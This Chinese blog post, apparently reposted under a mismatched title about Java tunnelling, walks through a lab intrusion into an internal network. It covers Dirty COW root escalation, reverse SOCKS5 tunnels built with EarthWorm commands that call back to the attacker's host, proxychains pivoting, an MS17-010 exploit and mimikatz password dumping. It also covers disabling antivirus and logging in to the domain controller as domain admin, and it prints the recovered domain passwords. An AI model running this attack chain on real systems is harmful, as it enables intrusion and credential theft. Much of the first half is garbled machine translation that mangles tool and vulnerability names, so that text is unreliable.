首页 > 编程知识 正文

内网穿透代理,java实现内网穿透

时间:2023-05-06 02:52:12 阅读:161681 作者:430

通过SOCKS代理渗透整个内部网1 .背景是经过前期的渗透工作,我们现在已经成功找到了网站的漏洞,并且获得了普通的webshell,现在打算用菜刀把它连接起来。

注意:假设这次的环境是在当地建立的,现在什么都不知道,会更现实。

2 .向web服务器移交权限2.1获取漏洞信息获取webshell后,用菜刀连接。 显示权限为apache,系统为redhat6.5。

将linux.sh上载到/tmp目录以获取漏洞信息。

2.2使用肮脏牛的权利1 )漏洞的基本信息

选择CVE-2016-5195提取权限。 该漏洞被称为“脏呼叫”,通过远程入侵获取低权限用户,然后利用该漏洞在Linux系统的完整版本服务器上获取本地权限,以获取服务器的根权限。

漏洞是在Linux内核内存子系统处理“写入时复制”时出现冲突条件(漏洞),导致专用只读存储器映射被破坏,并获得读写权限后被进一步授权的

2 )漏洞利用

在相同版本的redhat系统上使用gcc编译此poc。

将使用菜刀编译的文件dirty上载到此web服务器,并赋予其可执行的权限。 password是密码,可以自由设定。 用这个登录。

如果您查看/etc/passwd文件,则第一行中的文件将始终被修改,root用户将始终被修改为firefart,并且当前拥有最高权限。 正如您已经知道的那样,密码是刚才设置的password。 从较低的apache权限到root权限,提取权限并退出。

3 )通过xshell进行远程连接

因为用菜刀不方便,所以现在用xshell远程连接,连接成功了。 (帐户: firefart,密码: password )

你会发现有两个IP。 我推测拓扑图如下。 windows10和kali被我们控制着,它们在外联网上。 可以访问web服务器的外联网接口192.168.1.120。 另一个IP是192.168.223.166,它应该已连接到内部网,但无法访问。

3 .首次使用SOCKS代理渗透到内部网3.1SOCKS代理1 ) SOCKS

Socks是一种代理服务,可以方便地将一个系统连接到另一个系统,并支持多种协议,包括http、ftp请求和其他类型的请求。 有两种类型: socks 4和socks 5,socks 4只支持TCP协议,socks 5支持TCP/UDP协议,还支持各种认证机制等协议。 那个标准端口是1080。

2 )地球

EW是一种便携式网络透明工具,具有部署SOCKS5服务和端口转发两个主要功能,可在复杂的网络环境中实现网络透明。 该工具可以通过“前向”、“反向”、“多级级联”等方法穿透网络隧道,到达网络深处,适用于不同的操作系统。

3 )代理店

ProxyChains是Linux下的代理工具,kali已经安装。 这样,任何程序都可以通过代理连接到internet,并且TCP和DNS可以通过代理隧道支持HTTP、SOCKS4和SOCKS5类型的代理服务器并配置多个代理。

3.2反弹socks5服务器1 )在kali上

在kali上运行:

./ew _ Linux _ x64-src socks-l 1080-e 1234

此命令表示将向kali添加转发隧道,以将从本地1080端口收到的代理请求转发到1234端口。

2 )在web服务器上

我们刚才在win10已经使用xshell远程连接web服务器,运行:

./ew_linux_x64 -s rssocks -d 192.168.1.109 -e 1234

该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。

3)配置proxychains.conf

现在就可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务了。

/etc/proxychains.conf修改内容如下,去掉dynamic_chain的注释,并且在最后的位置添加代理。

4)测试代理服务器是否正常

cp /usr/lib/proxychains3/proxyresolv /usr/qjdmf/

proxyresolv 192.168.223.166

发现代理正常,现在我们已经可以访问192.168.223.166了。

4.渗透主机A 4.1proxychains启动nmap

用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网,我们发现只能访问下面这台机器,对它进行扫描:

现在我们猜测拓扑图应该是如下,win10和kali受我们控制,它们处于外网,我们可以访问web服务器的外网接口192.168.1.120,另外一个内网IP是192.168.223.166,它只能访问内网的主机A 192.168.223.174。

4.2proxychains启动msf

1)启动msfconsole

2)攻击

选择漏洞利用模块ms17-010,MS17-010漏洞利用模块就是利用windows系统的windows smb远程执行代码漏洞,向Microsoft服务消息块服务器发送经特殊设计的消息后,允许远程代码执行。选择好漏洞利用模块和攻击载荷模块后,配置好参数,开始攻击。

3)获取密码信息

使用mimikatz抓取密码,命令如下:

load mimikatz

kerberos

可以看到域是lingwen,有两个域用户lingwen0001和admin的密码已经破解出来了,都是“lingwen1.”。

4)信息收集

(1)查看系统信息

(2)查看进程

(3)查看系统用户

(4)查看应用软件

(5)查看路由信息和最后登录时间

5)上传ew工具

查看进程号和权限,直接是system,关闭杀毒软件,开启远程桌面协议。

上传ew工具到主机A,为了后面使用这台机器A作为跳板访问其他内网主机。

一般情况下我们输入shell就可以进入目标机的shell下,可是这里不行,之前获得了2个域用户密码,我们尝试远程连接主机A。

4.3远程登录主机A

1)远程登录主机A

使用代理启动rdesktop在kali上远程连接主机A,即192.168.223.174,使用之前获得的admin域账号登录。

2)收集域信息

(1)查看域用户和域的数量

(2)查看域里面的组

(3)查看域内所有主机名

(4)查看域管理员

(5)查看域控制器

(6)查看企业管理组

我们发现之前在主机A获得的域用户admin竟然是域管理员账号。

3)查看dns信息

我们终于发现域控的IP是192.168.223.134。

5. 第二次使用SOCKS代理渗透内网 5.1内网拓扑图

5.2再次代理

1)分析

(1)第一次socks代理

通过第一次socks代理:在kali上添加一个转接隧道,把1080端口收到的代理请求转交给1234端口;在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。

之后我们在kali通过web服务器做跳板来访问主机A。

(2)现在的问题

虽然我们知道了域控的IP,域管理员的账号和密码,但是现在我们在kali上连接不到域控。如下所示,远程登录失败。

我们可不可以再次代理,使用主机A做跳板,把经过它的流量反弹到web服务器上,用kali连接web服务器。

2)在web服务器上

使用xshell建立新的会话连接web服务器192.168.1.120,在web服务器上运行:

./ew_linux_x64 -s rcsocks -l 6666 -e 5678

该命令的意思是在web服务器上添加一个转接隧道,把本地6666端口收到的代理请求转交给5678端口。

3)在主机A

在kali远程连接主机A,在主机A上运行:

ew_win32.exe -s rssocks -d 192.168.223.166 -e 5678

该命令的意思是在主机A上启动SOCKS5服务,并反弹到IP地址为192.168.223.166(web服务器)的5678端口上。

4)配置proxychains.conf

现在就可以通过访问192.168.1.120:6666端口使用在主机A上架设的SOCKS5代理服务了。

5)远程连接域控

发现现在已经可以访问域控了,使用域管理员账号成功登录。

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。